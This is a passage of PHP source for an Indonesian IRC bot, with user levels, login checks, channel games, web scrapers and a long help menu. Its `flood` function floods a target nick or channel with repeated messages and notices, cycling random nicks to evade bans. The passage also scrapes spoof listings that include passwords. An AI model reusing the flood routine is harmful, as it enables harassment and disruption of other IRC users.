} else { $this->notice($sock,$nick,'Wrong Command! Type:.Adduser <nick> <pass> user'); }
} else { $this->notice($sock,$nick,$user .' is already exist on '.$auth["$user"]["status"].' list.'); }
} else {$this->notice($sock,$nick,'Unknown Status! Your Status is '.$auth["$nick"]["status"]);}
}
}
function del_user($sock,$nick,$user){
global $auth;
$anick=$nick;
$nick = strtolower($nick);
$user = strtolower($user);
if ($auth["$nick"]["auth"]==2) {
if ($auth["$nick"]["status"]=="Owner") {
if ($auth["$user"]["status"]=="master" || $auth["$user"]["status"]=="user" || $auth["$user"]["status"]=="admin") {
$this->notice($sock,$nick,'ADD [ '.$user.' ] '.$auth["$user"]["status"].' LIsT');
$this->msg($sock,$user,' '.$anick.' DeL YoU To '.$auth["$user"]["status"].' LIsT');
unset($auth["$user"]["name"]); unset($auth["$user"]["pass"]); unset($auth["$user"]["status"]);unset($auth["$user"]["auth"]); unset($auth["$user"]["time"]);
unset($auth["$user"]["ident"]); unset($auth["$user"]["host"]);unset($auth["$user"]["seen"]); unset($auth["$user"]);
} else {$this->msg($sock,$nick,'Wrong Command! Type: .Deluser <nick>'); }
}
elseif ($auth["$nick"]["status"]=="admin") {
if ($auth["$user"]["status"]=="master" || $auth["$user"]["status"]=="user") {
$this->notice($sock,$nick,'ADD [ '.$user.' ] '.$auth["$user"]["status"].' LIsT');
$this->msg($sock,$user,' '.$anick.' DeL YoU To '.$auth["$user"]["status"].' LIsT');
unset($auth["$user"]["name"]); unset($auth["$user"]["pass"]); unset($auth["$user"]["status"]);unset($auth["$user"]["auth"]); unset($auth["$user"]["time"]);
unset($auth["$user"]["ident"]); unset($auth["$user"]["host"]);unset($auth["$user"]["seen"]); unset($auth["$user"]);
} else {$this->msg($sock,$nick,'Wrong Command! Type: .Deluser <nick>'); }
}
elseif ($auth["$nick"]["status"]=="master") {
if ($auth["$user"]["status"]=="user") {
$this->notice($sock,$nick,'ADD [ '.$user.' ] '.$auth["$user"]["status"].' LIsT');
$this->msg($sock,$user,' '.$anick.' DeL YoU To '.$auth["$user"]["status"].' LIsT');
unset($auth["$user"]["name"]); unset($auth["$user"]["pass"]); unset($auth["$user"]["status"]);unset($auth["$user"]["auth"]); unset($auth["$user"]["time"]);
unset($auth["$user"]["ident"]); unset($auth["$user"]["host"]);unset($auth["$user"]["seen"]); unset($auth["$user"]);
} else { $this->msg($sock,$nick,'Wrong Command! Type: .Deluser <nick>'); }
}
}
}
function chgpass_user($sock,$nick,$oldpass,$newpass){
global $auth;
$anick=$nick;
$nick = strtolower($nick);
if ($auth["$nick"]["auth"]==2) {
if ($oldpass===$auth["$nick"]["pass"]) {
$auth["$nick"]["pass"] = $newpass;
$this->notice($sock,$nick,'Password set to: 4'.$auth["$nick"]["pass"].' 4');
} else {$this->msg($sock,$nick,'PASSWORD 4!FaILED! ');}
}
}
function level_user($nick){
global $auth;
$nick=strtolower($nick);
if ($auth["$nick"]["status"]=="user"){$stauth=1;}
elseif ($auth["$nick"]["status"]=="master"){$stauth=2;}
elseif (strtolower($auth["$nick"]["status"])=="admin"){$stauth=3;}
elseif (strtolower($auth["$nick"]["status"])=="owner"){$stauth=4;}
else{$stauth=0;};
return $stauth;
}
function is_userbot($nick){
global $auth;
$isuser=0;$nick=strtolower($nick);
if ($auth["$nick"]) {if ($auth["$nick"]["pass"]) {$isuser=1;}}
return $isuser;
}
function is_loginbot($nick,$ident,$host){
global $auth;
$islogin=0;$nick=strtolower($nick);
if($this->is_userbot($nick)==1){
if($auth["$nick"]["auth"]==2){
if($auth["$nick"]["ident"]==$ident){
if($auth["$nick"]["host"]==$host){
$timelog=time()- $auth["$nick"]["time"];
if($timelog<=3600){ $auth["$nick"]["time"]=time();$islogin=1;}else{$auth["$nick"]["auth"]=1;}
}else{$auth["$nick"]["auth"]=1;}
}else{$auth["$nick"]["auth"]=1;}
}else{$auth["$nick"]["auth"]=1;}
}
return $islogin;
}
function loginbot($nick,$ident,$host,$pass){
global $auth;
$sukseslog=0;$nick=strtolower($nick);
if($this->is_userbot($nick)==1){
if($pass===$auth["$nick"]["pass"]){
$auth["$nick"]["auth"]=2;$auth["$nick"]["time"]=time();$sukseslog=1;
}
}
return $sukseslog;
}
function logoutbot($nick){
global $auth;
$sukseslog=0;$nick=strtolower($nick);
if($this->is_userbot($nick)==1){
$auth["$nick"]["auth"]=1;$auth["$nick"]["time"]=time();$sukseslog=1;
}
return $sukseslog;
}
###############################

function stuf_ping($sock,$chan,$nick){
global $ping;
$sendping=time();$ping["$sendping"]["ping"] = time();
$ping["$sendping"]["chan"] = $chan;$ping["$sendping"]["nick"] = strtolower($nick);
$this->msg($sock,$nick,' PING '.$ping["$sendping"]["ping"].' ');
}
function stuf_lag($sock,$nick,$dataping){
global $ping;
$dataping=str_replace(chr(1),"",$dataping);$dataping=str_replace("\r","",$dataping);
$dataping=str_replace("\n","",$dataping);$dataping=str_replace(" ","",$dataping);
if ($ping["$dataping"]["ping"]==$dataping && $ping["$dataping"]["nick"]==strtolower($nick)){
$pong = time();$pptime = $pong - $dataping;$meni = "";
if ($pptime>=60) {
$bag = $pptime / 60;$meni = floor($bag)."mins ";$sis = $pptime - ($meni*60);$pptime = $sis;
}
$deti = $pptime."secs";$pptime = "$meni$deti";
$this->msg($sock,$ping["$dataping"]["chan"],' 15( pong 04 ! 15) Lag RepLy Bwt '.$nick.' : '.$pptime);
unset($ping["$dataping"]["nick"]);unset($ping["$dataping"]["ping"]);unset($ping["$dataping"]["chan"]);
}
}
#############################
function stuf_potong($sock,$nickna,$chan,$pilwar){
global $warnabenar,$bw,$targetboom,$goboom,$onboom,$chanboom;
$pilihanwar=strtolower($pilwar);$warnabenar=strtolower($warnabenar);
if(strtolower($nickna)==strtolower($targetboom) && strtolower($chanboom)==strtolower($chan)){
if($pilihanwar==strtolower($bw[0]) || $pilihanwar==strtolower($bw[1]) || $pilihanwar=="biru" ){
if($warnabenar==$pilihanwar){
$this->msg($sock,$chan,'slamet wes '.$nickna.' , Good Luck!!! Danger was Finish ');
$this->mode($sock,'+vvv',$chan,$nickna);
}
else{
// $this->kickserv($sock,$chan,$nickna,' 0,4BOOOOOOMMMM!!!!! Upss Soryy But Your cut False!!!.');
$this->kick($sock,$chan,$nickna,' 0,4BOOOOOOMMMM!!!!! Sorry Riquest TIme Out!!!.');
}
$goboom=0;$onboom="off";$targetboom="";$chanboom="";
}
}
}
function stuf_bom($sock,$chan,$targetbm){
global $chanboom,$bot,$onboom,$warnaboom,$targetboom,$bw,$goboom,$tmpwbom,$tmboom,$warnabenar,$timeboom;
if(strpos(strtolower($this->show_nickchan($chan)),' '.strtolower($targetbm).' ') && $onboom=="off" && $targetbm!=strtolower($bot['nick'])){
$onboom="on";$goboom=0;$targetboom=$targetbm;$chanboom=$chan;
$tmpwbom=$warnaboom;$wrnb=explode(";",$tmpwbom);
$bw[0]=$wrnb[rand(0,count($wrnb) - 1)];unset($wrnb);
$tmpwbom=str_replace($bw[0],"",$tmpwbom);$tmpwbom=str_replace(";;",";",$tmpwbom);
$wrnb=explode(";",$tmpwbom);
$bw[1]=$wrnb[rand(0,count($wrnb) - 1)];
unset($wrnb);
$tmboom=time();$warnabenar=$bw[rand(0,count($bw) - 1)];
$this->act($sock,$chan,'change BOOM TO '.$targetbm .' '.$warnabenar);
$this->msg($sock,$chan,$targetbm.'!! Your Time [ '.$timeboom.' ] second. Cepat Jinakan BOMnya cuma Ada Tiga Pilihan. '.$bw[0] .', '.$bw[1].' dan Biru');
}
}
#############################
function stuf_ison($sock,$msg){
global $listison,$chanson,$ada2,$ada1;
$listson=strtolower($msg);$xpgetison=explode(" ",$listson);
$i=0;$jmlolol=0;
foreach ($xpgetison as $pgetlist){if($pgetlist){$i++;$sonson[$i]=$pgetlist;$jmlolol=$i;}}
$i=0;
foreach ($listison as $pgetlist){if ($pgetlist){$i++;$lsonson[$i]=$pgetlist;$jmlson=$i;}}
$dafonline="";$dafoffline="";
for ($i = 1; $i <= $jmlson; $i++) {
$satup=$lsonson[$i];$ds=0;
for ($p = 1; $p <= $jmlolol; $p++) {if ($satup==$sonson[$p]){$ds=1;}}
if ($ds==1){if(!$ada1["$satup"]){$dafonline .=$satup.' ';$ada1["$satup"]=true;$ada2["$satup"]=false;}}
else{if(!$ada2["$satup"]){$dafoffline .=$satup.' ';$ada2["$satup"]=true;$ada1["$satup"]=false;}}
}
$dafonline=ltrim($dafonline);$dafonline=rtrim($dafonline);$dafoffline=ltrim($dafoffline);$dafoffline=rtrim($dafoffline);
if ($dafonline){fputs($sock, 'PRIVMSG '. $chanson .' : 15( 04 I son 15) On IRC : '.$dafonline . CRLF);}
if ($dafoffline){fputs($sock, 'PRIVMSG '. $chanson .' : 15( 04 I son 15) Left IRC : '.$dafoffline . CRLF);}
unset($lsonson);unset($sonson);
}
function add_ison($str){
global $listison;
$str=strtolower($str);
if(in_array($str,$listison)){return 0;}
else{array_push($listison,$str);return 1;}

}
function show_ison(){
global $listison;
$str_ison="";
foreach ($listison as $lstr){$str_ison.=$lstr . ' ';}
$str_ison=str_replace(" "," ",$str_ison);$str_ison=ltrim($str_ison);$str_ison=rtrim($str_ison);
return $str_ison;
}
function del_ison($str){
global $listison;
$str_ison="";$str=strtolower($str);
if(in_array($str,$listison)){
foreach ($listison as $lstr){
if(strtolower($str)!=strtolower($lstr)){
$str_ison.=$lstr . ';';
}
}
$str_ison=str_replace(";;",";",$str_ison);$str_ison=ltrim($str_ison,";");$str_ison=rtrim($str_ison,";");
$listison=explode(";",strtolower($str_ison));
return 1;
}
else{return 0;}
}
###############################
function auto_cy($sock){
global $systembot,$user_chan_arr;
$this->send($sock,"PING :88888654476");
foreach ($user_chan_arr as $cur_xchan) {
if($systembot['AUTOCYCLE'][strtoupper($cur_xchan["chan"])]==" 3ON "){
$this->part($sock,$cur_xchan["chan"],$this->rnd_cycle());sleep (2);$this->join($sock,$cur_xchan["chan"]);sleep(3);
}
}
return "";
}

##############################
function mod_astro($astro){
global $zodiak;
$astro = strtolower($astro);
$this->send($sock,"PING :1097658652");
if (in_array($astro, $zodiak)) {
$pages = "http://www.astaga.com/astrologi/?cat=$astro";
$handi = fopen ($pages, "rb");
$konten = "";
do {
$baris = fread($handi, 512);
if (strlen($baris) == 0) { break; }
$konten .= $baris;
} while(true);
fclose ($handi);
$this->send($sock,"PING :1097658651");
$zod1 = stristr($konten,'<td id=ast><p>');
$zod2 = stristr($zod1,'</table>');
$bintang = str_replace($zod2,"",$zod1);
$bintang = str_replace("\n","",$bintang);
$bintang = str_replace("<td id=ast><p>"," ".ucfirst(strtolower($astro))." ",$bintang);
$bintang = str_replace("</p>"," ",$bintang);
$bintang = str_replace("<p><b>"," ",$bintang);
$bintang = str_replace("</b>"," ",$bintang);
$bintang = str_replace("</td>","",$bintang);
$bintang = str_replace("<b>"," ",$bintang);
$bintang = str_replace("</td>","",$bintang);
$bintang = str_replace("</tr>","",$bintang);
$bintang = str_replace("<tr>","",$bintang);
$zod3 = stristr($bintang,'<td colspan=2 id=ast bgcolor="#e0e0e0">');
$bintang = str_replace($zod3,"",$bintang);
return $bintang;
}
else{
return "Maaf nama bintang yg km masukan tdk ada";
}

}
function mod_uspoof($sock,$msg){
global $isisp,$jmlspoof;
$this->send($sock,"PING :0000927651");
$spoof=strtolower($msg);
$spallnet = "http://www.allnetwork.or.id/Pendaftaran/Personal_spoof/?mode=view&server=$spoof";
///$spallnet="http://localhost/spoof1.html";
$handisp = fopen ($spallnet, "rb");
$kontensp = "";
do {
$barissp = fread($handisp, 512);
if (strlen($barissp) == 0) { break; }
$kontensp .= $barissp;
} while(true);
fclose ($handisp);
$kontensp=strtolower($kontensp);
$kontensp = str_replace(" "," ",$kontensp);
$kontensp = str_replace("\n","",$kontensp);
$kontensp = str_replace(chr(9),"",$kontensp);
$kontensp = str_replace("\r","",$kontensp);
$kontensp = str_replace("<td align=right colspan=10>","<td colspan=10 align=right>",$kontensp);
for ($i = 1; $i <= 10; $i++) {$kontensp = str_replace(" "," ",$kontensp);}
$kontensp = str_replace("<tr bgcolor=yellow> <td colspan=10 align=right>","<tr bgcolor=yellow><td colspan=10 align=right>",$kontensp);
$tmpjml1=stristr($kontensp,"<tr bgcolor=yellow><td colspan=10 align=right>found ");
$tmpjml2=stristr($kontensp," data</td></tr>");

$tmpjml=str_replace($tmpjml2,"",$tmpjml1);
$tmpjml=str_replace("<tr bgcolor=yellow><td colspan=10 align=right>found ","",$tmpjml);
$kontensp = str_replace("</td> <td>","</td><td>",$kontensp);
$kontensp = str_replace("<tr bgcolor=white> <td align=right>","<tr bgcolor=white><td align=right>",$kontensp);
$kontensp = str_replace("</tr> <tr","</tr><tr",$kontensp);
$kontensp = str_replace(" </td>","</td>",$kontensp);
$kontensp =str_replace("> <td","><td",$kontensp);

for ($i = 1; $i <= $tmpjml; $i++) {
if ($i==$tmpjml){
$identsp="";$spoofsp="";$passsp="";
$tmpdata1=stristr($kontensp,"<td align=right>".$i."</td>");
$tmpdata1=substr($tmpdata1,0,strpos($tmpdata1,"<tr bgcolor=#1b6cf7>"));
$tmpdata1=str_replace("<td align=right>".$i."</td><td>".$spoof."</td><td>","",$tmpdata1);
$identsp=substr($tmpdata1,0,strpos($tmpdata1,"</td><td>"));
$tmpdata1=str_replace($identsp."</td><td>","",$tmpdata1);
$spoofsp=substr($tmpdata1,0,strpos($tmpdata1,"</td><td>"));
$tmpdata1=str_replace($spoofsp."</td><td>","",$tmpdata1);
$passsp=substr($tmpdata1,0,strpos($tmpdata1,"</td></tr>"));
$isisp[$i]["$spoof"]['ident']=$identsp;
$isisp[$i]["$spoof"]['spoof']=$spoofsp;
$isisp[$i]["$spoof"]['pass']=$passsp;
}
else{
$identsp="";$spoofsp="";$passsp="";
$tmpdata1=stristr($kontensp,"<td align=right>".$i."</td>");
$tmpdata1=substr($tmpdata1,0,strpos($tmpdata1,"<tr bgcolor=white>"));
$tmpdata1=str_replace("<td align=right>".$i."</td><td>".$spoof."</td><td>","",$tmpdata1);
$identsp=substr($tmpdata1,0,strpos($tmpdata1,"</td><td>"));
$tmpdata1=str_replace($identsp."</td><td>","",$tmpdata1);
$spoofsp=substr($tmpdata1,0,strpos($tmpdata1,"</td><td>"));
$tmpdata1=str_replace($spoofsp."</td><td>","",$tmpdata1);
$passsp=substr($tmpdata1,0,strpos($tmpdata1,"</td></tr>"));

$isisp[$i]["$spoof"]['ident']=$identsp;
$isisp[$i]["$spoof"]['spoof']=$spoofsp;
$isisp[$i]["$spoof"]['pass']=$passsp;
}

}
$jmlspoof["$spoof"]=$tmpjml;
return $jmlspoof["$spoof"];
}
function mod_uslang($sock,$msg){
global $kmusedan,$kmjml;
//$urledan="http://localhost/aa.html";
$urledan="http://www.malesbanget.com/kamus/definisi.php?kata=".$msg;
$btsstr='<td class='.chr(34).'BOX'.chr(34).'><span class='.chr(34).'KAMUS'.chr(34).'><span class='.chr(34).'kecil'.chr(34).'>';
$btsstrtab1='<table width='.chr(34).'100%'.chr(34).' border='.chr(34).'0'.chr(34).' cellpadding='.chr(34).'0'.chr(34).' cellspacing='.chr(34).'0'.chr(34).'>';
$btsstrtab2='</table>';
$strsplit='<h2 align='.chr(34).'left'.chr(34).'>';
$kedan = fopen ($urledan, "rb");
$cotedan = "";
do {
$bcotedan = fread($kedan, 1024);
if (strlen($bcotedan) == 0) { break; }
$cotedan .= $bcotedan;
} while(true);
fclose ($kedan);
if(strpos($cotedan,$btsstr)){
$cotedan=substr($cotedan,strpos($cotedan,$btsstr) + strlen($btsstr));
$cotedan=substr($cotedan,0,strpos($cotedan,$btsstr));
$cotedan=substr($cotedan,0,strpos($cotedan,'<p><span class='.chr(34).'signature'.chr(34).'>'));
$intedan=substr_count($cotedan," ");
for ($i = 1; $i <= $intedan; $i++) {$cotedan=str_replace(" "," ",$cotedan);}
$intedan=substr_count($cotedan,$btsstrtab1);
for ($i = 1; $i <= $intedan; $i++) {
$tmpctedan='';
$tmpctedan=substr($cotedan,strpos($cotedan,$btsstrtab1));
$tmpctedan=substr($tmpctedan,0,strpos($tmpctedan,$btsstrtab2) + strlen($btsstrtab2));
$cotedan=str_replace($tmpctedan,"",$cotedan);
}
if(strpos($cotedan,'</span></span></td>')){$cotedan=substr($cotedan,0,strpos($cotedan,'</span></span></td>'));}
$cotedan=ltrim($cotedan);$cotedan=rtrim($cotedan);
if(substr($cotedan,0,strlen($strsplit))==$strsplit){$cotedan=substr($cotedan,strlen($strsplit));}
$cotedan=str_replace('</h2>','',$cotedan);
$arredan=explode($strsplit,$cotedan);
for ($i = 0; $i < count($arredan); $i++) {
$arredan[$i]=str_replace("\n","",$arredan[$i]);$arredan[$i]=str_replace("\r","",$arredan[$i]);
$arredan[$i]=str_replace('<br><br>','<br>',$arredan[$i]);
$arredan[$i]=substr($arredan[$i],strpos($arredan[$i],'</span>')+7);$arredan[$i]='<span>'.ltrim($arredan[$i]);
$batas=strpos($arredan[$i],"<span>")+6;$tmpbts=substr($arredan[$i],$batas);
$batas=strpos($tmpbts,"</span>");$tmpbts=substr($tmpbts,0,$batas);$kmusedan[$i]["kata"]=$tmpbts;
$batas=strpos($arredan[$i],'class='.chr(34).'definisi'.chr(34).'>')+17;$tmpbts=substr($arredan[$i],$batas);
$batas=strpos($tmpbts,"</p><p");$tmpbts=substr($tmpbts,0,$batas);
$tmpbts = str_replace("<b>","",$tmpbts);$tmpbts = str_replace("</b>","",$tmpbts);$tmpbts = str_replace("<i>","",$tmpbts);
$tmpbts = str_replace("</i>","",$tmpbts);$kmusedan[$i]["definisi"][strtolower($msg)]=$tmpbts;
$batas=strpos($arredan[$i],'class='.chr(34).'definisi_contoh'.chr(34).'>')+24;$tmpbts=substr($arredan[$i],$batas);
$batas=strpos($tmpbts,"</span></p>");$tmpbts=substr($tmpbts,0,$batas);
$tmpbts=str_replace("<em>","",$tmpbts);$tmpbts=str_replace("</em>","",$tmpbts);
$tmpbts = str_replace("<b>","",$tmpbts);$tmpbts = str_replace("</b>","",$tmpbts);$tmpbts = str_replace("<i>","",$tmpbts);
$tmpbts = str_replace("</i>","",$tmpbts);
$kmusedan[$i]["contoh"][strtolower($msg)]=$tmpbts;
$kmusedan[$i]["kata"][strtolower($msg)]=strtolower($ktslang);
$totalnya++;
}
}
if($totalnya==""){$totalnya=0;}
$kmjml[strtolower($msg)]=$totalnya;
return $totalnya;
}
##############################
function flood($sock,$target,$msg){
global $bot,$tsu,$haltfl;
$this->send($sock,"MODE ".$bot['nick']. " +D");
$nicknofl=$bot['nick'];$lnickfl=rand(5,16);$nickfl="";$tsmsg = substr($msg,strpos($msg,$target)+strlen($target)+1);
for ($i = 1; $i <= $lnickfl; $i++) {$nickfl.=$tsu[rand(0,count($tsu) - 1)];}$this->nick($sock,$nickfl);sleep(2);
if (ereg("#", $target)) {$this->join($sock,$target);}$katafl=$this->rnd_flod();

$this->msg($sock,$target,' '.$tsmsg.' '.$katafl);sleep(1);
$this->notice($sock,$target,' '.$tsmsg.' '.$katafl);
$this->msg($sock,$target,' TSUNAMI '.$tsmsg.' '.$katafl.' ');sleep(1);
$this->msg($sock,$target,' '.$tsmsg.' [] '.$katafl);sleep(1);
$this->notice($sock,$target,' '.$tsmsg.' '.$katafl);sleep(1);
$this->msg($sock,$target,' FLOOD '.$tsmsg.' '.$katafl.' ');sleep(1);

sleep(3);
$lnickfl=rand(5,16);$nickfl="";$tsmsg = substr($msg,strpos($msg,$dCom[1])+strlen($target)+1);
for ($i = 1; $i <= $lnickfl; $i++) {$nickfl.=$tsu[rand(0,count($tsu) - 1)];}$this->nick($sock,$nickfl);sleep(3);$katafl=$this->rnd_flod();

$this->msg($sock,$target,' '.$tsmsg.' '.$katafl);sleep(1);
$this->notice($sock,$target,' '.$tsmsg.' '.$katafl);
$this->msg($sock,$target,' TSUNAMI '.$tsmsg.' '.$katafl.' ');sleep(1);
$this->msg($sock,$target,' '.$tsmsg.' [] '.$katafl);sleep(1);
$this->notice($sock,$target,' '.$tsmsg.' '.$katafl);sleep(1);
$this->msg($sock,$target,' FLOOD '.$tsmsg.' '.$katafl.' ');sleep(1);

sleep(3);
$lnickfl=rand(5,16);$nickfl="";$tsmsg = substr($msg,strpos($msg,$dCom[1])+strlen($target)+1);
for ($i = 1; $i <= $lnickfl; $i++) {$nickfl.=$tsu[rand(0,count($tsu) - 1)];}$this->nick($sock,$nickfl);sleep(4);$katafl=$this->rnd_flod();
$this->msg($sock,$target,' '.$tsmsg.' '.$katafl);sleep(1);
$this->notice($sock,$target,' '.$tsmsg.' '.$katafl);
$this->msg($sock,$target,' TSUNAMI '.$tsmsg.' '.$katafl.' ');sleep(1);
$this->msg($sock,$target,' '.$tsmsg.' [] '.$katafl);;sleep(1);
$this->notice($sock,$target,' '.$tsmsg.' '.$katafl);sleep(1);
$this->msg($sock,$target,' FLOOD '.$tsmsg.' '.$katafl.' ');sleep(1);

if (ereg("#", $target)) {$this->part($sock,$target,$katafl);}
sleep(3);$this->nick($sock,$nicknofl);sleep(1);$haltfl['time']=time();$haltfl['on']=1;
$this->send($sock,"MODE ".$bot['nick']. " -D");
}
function floodctctp($sock,$target){

}

###############################
function mod_help($sock,$nick){
$this->send($sock,"MODE ".$bot['nick']. " +D");
$lvlbot=$this->level_user($nick);
$this->send($sock,"PING :0009927651");
$this->msg($sock,$nick,$this->rnd_logo() .' PHP-IRC v1.3' . " - bot PHP by : 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");
$this->msg($sock,$nick," Perintah Bot..! 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep (2);

$this->msg($sock,$nick," 12^Login <password> 4- 2For login your Bot ");sleep(1);
$this->msg($sock,$nick," 12^Logout 4- 2Logout Your Bot ");sleep(2);

if($lvlbot>1){
$this->msg($sock,$nick," 12.Up 4- 2memberi status operator bot ");sleep(2);
$this->msg($sock,$nick," 12.Down 4- 2membuang status operator bot ");sleep(2);
$this->msg($sock,$nick," 12.O |#chan| <nick> 4- 2memberi Operator orang ");sleep(2);
$this->msg($sock,$nick," 12.Do |#chan| <nick> 4- 2membuang operator orang ");sleep(2);
$this->msg($sock,$nick," 12.H |#chan| <nick> 4- 2memberi status HOP % ");sleep(2);
$this->msg($sock,$nick," 12.Dh |#chan| <nick> 4- 2membuang status HOp % ");sleep(2);
$this->msg($sock,$nick," 12.V |#chan| <nick> 4- 2memberi voice ");sleep(2);
$this->msg($sock,$nick," 12.Dv |#chan| <nick> 4- 2membuang voice ");sleep(2);
$this->msg($sock,$nick," 12.K |#chan| <nick> |msg| 4- 2kick nick ");sleep(1);
$this->msg($sock,$nick," 12.Kc |#chan| <nick> |msg| 4- 2kick nick dengan(ChanServ Stuf) ");sleep(2);
$this->msg($sock,$nick," 12.Kb |#chan| <nick> |msg| 4- 2kick + baned ");sleep(2);
$this->msg($sock,$nick," 12.B |#chan| <nick|hostmask> 4- 2baned nick + hotmask ");sleep(1);
$this->msg($sock,$nick," 12.Ub |#chan| <nick|hostmask> 4- 2 unban + hostmask ");sleep(2);
}
$this->send($sock,"PING :0009927652");
$this->msg($sock,$nick," 12.J <#chan> 4- 2join channel ");sleep (1);
$this->msg($sock,$nick," 12.P <#chan> |msg| 4- 2part channel ");sleep (1);
$this->msg($sock,$nick," 12.Cy <#chan> |msg| 4- 2cycle channel ");sleep (2);

if($lvlbot>2){
$this->msg($sock,$nick," 12.N <newnick> 4- 2change nick bot ");sleep(2);
$this->msg($sock,$nick," 12.S |#chan/nick| <msg> 4- 2pm..... privat message ");sleep (2);
$this->msg($sock,$nick," 12.A |#chan/nick| <text> 4- 2/me ..... action ");sleep(2);
$this->msg($sock,$nick," 12.Ts <#chan/nick> |msg| 4- 2flood stunami ");sleep(1);
}
if($lvlbot>3){$this->msg($sock,$nick," 12.Q <msg> 4- 2kill bot ");}

if($lvlbot>2){
$this->send($sock,"PING :0009927652");
$this->msg($sock,$nick," Perintah system...! 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(1);
$this->msg($sock,$nick," 12.Server <server> 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(2);
$this->msg($sock,$nick," 12.Servpass <password> 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(2);
$this->msg($sock,$nick," 12.Vhost <host> 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(2);
$this->msg($sock,$nick," 12.Ident <identify> 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(1);
$this->msg($sock,$nick," 12.Realname <realname> 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(2);
$this->msg($sock,$nick," 12.Jump 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(1);
}
$this->msg($sock,$nick," 12.Chgpass <OldPass> <NewPass> 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(2);
if($lvlbot >1){
$this->msg($sock,$nick," 12.Adduser <NickUser> <PassUser> <LevelUser> 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(2);
$this->msg($sock,$nick," 12.Deluser <NickUser> 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(2);
$this->msg($sock,$nick," 12.BotNick 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(2);
$this->send($sock,"PING :0009927652");sleep(1);
$this->msg($sock,$nick," 12.IdentNick <nick> <password> 4- 2identify 4your bot 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(1);
$this->msg($sock,$nick," 12.LogoutNick 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(2);
$this->msg($sock,$nick," 12.Userlist 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(2);
}
if($lvlbot>2){
$this->msg($sock,$nick," 12.BaseChan <#chan> 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(2);
$this->msg($sock,$nick," 12.Chanlist <#chan> 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(2);
$this->msg($sock,$nick," 12.Nicklist <#chan> 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(1);
$this->msg($sock,$nick," 12.Showison 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(2);
$this->msg($sock,$nick," 12.Chanison <#chan> 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(2);
$this->msg($sock,$nick," 12.Settimercycle <detik> 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(1);
$this->msg($sock,$nick," 12.SetVersion <version> 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(2);
$this->msg($sock,$nick," 12.SetFinger <finger> 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(2);
$this->msg($sock,$nick," 12.+/-Ping <#chan> 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(2);
$this->msg($sock,$nick," 12.+/-Version <#chan> 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(2);
$this->msg($sock,$nick," 12.+/-Time <#chan> 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(1);
$this->msg($sock,$nick," 12.+/-Finger <#chan> 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(2);
$this->msg($sock,$nick," 12.+/-Spoof <#chan> 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(2);
$this->send($sock,"PING :0009927653");
$this->msg($sock,$nick," 12.+/-Astro <#chan> 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(2);
$this->msg($sock,$nick," 12.+/-Kslang <#chan> 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(1);
$this->msg($sock,$nick," 12.+/-Bom <#chan> 4J 2Ust For 4fun 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(2);
$this->msg($sock,$nick," 12.+/-Dns <#chan> 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(1);
$this->msg($sock,$nick," 12.+/-Ison <#chan> 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(2);
$this->msg($sock,$nick," 12.+/-Greet <#chan> 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(1);
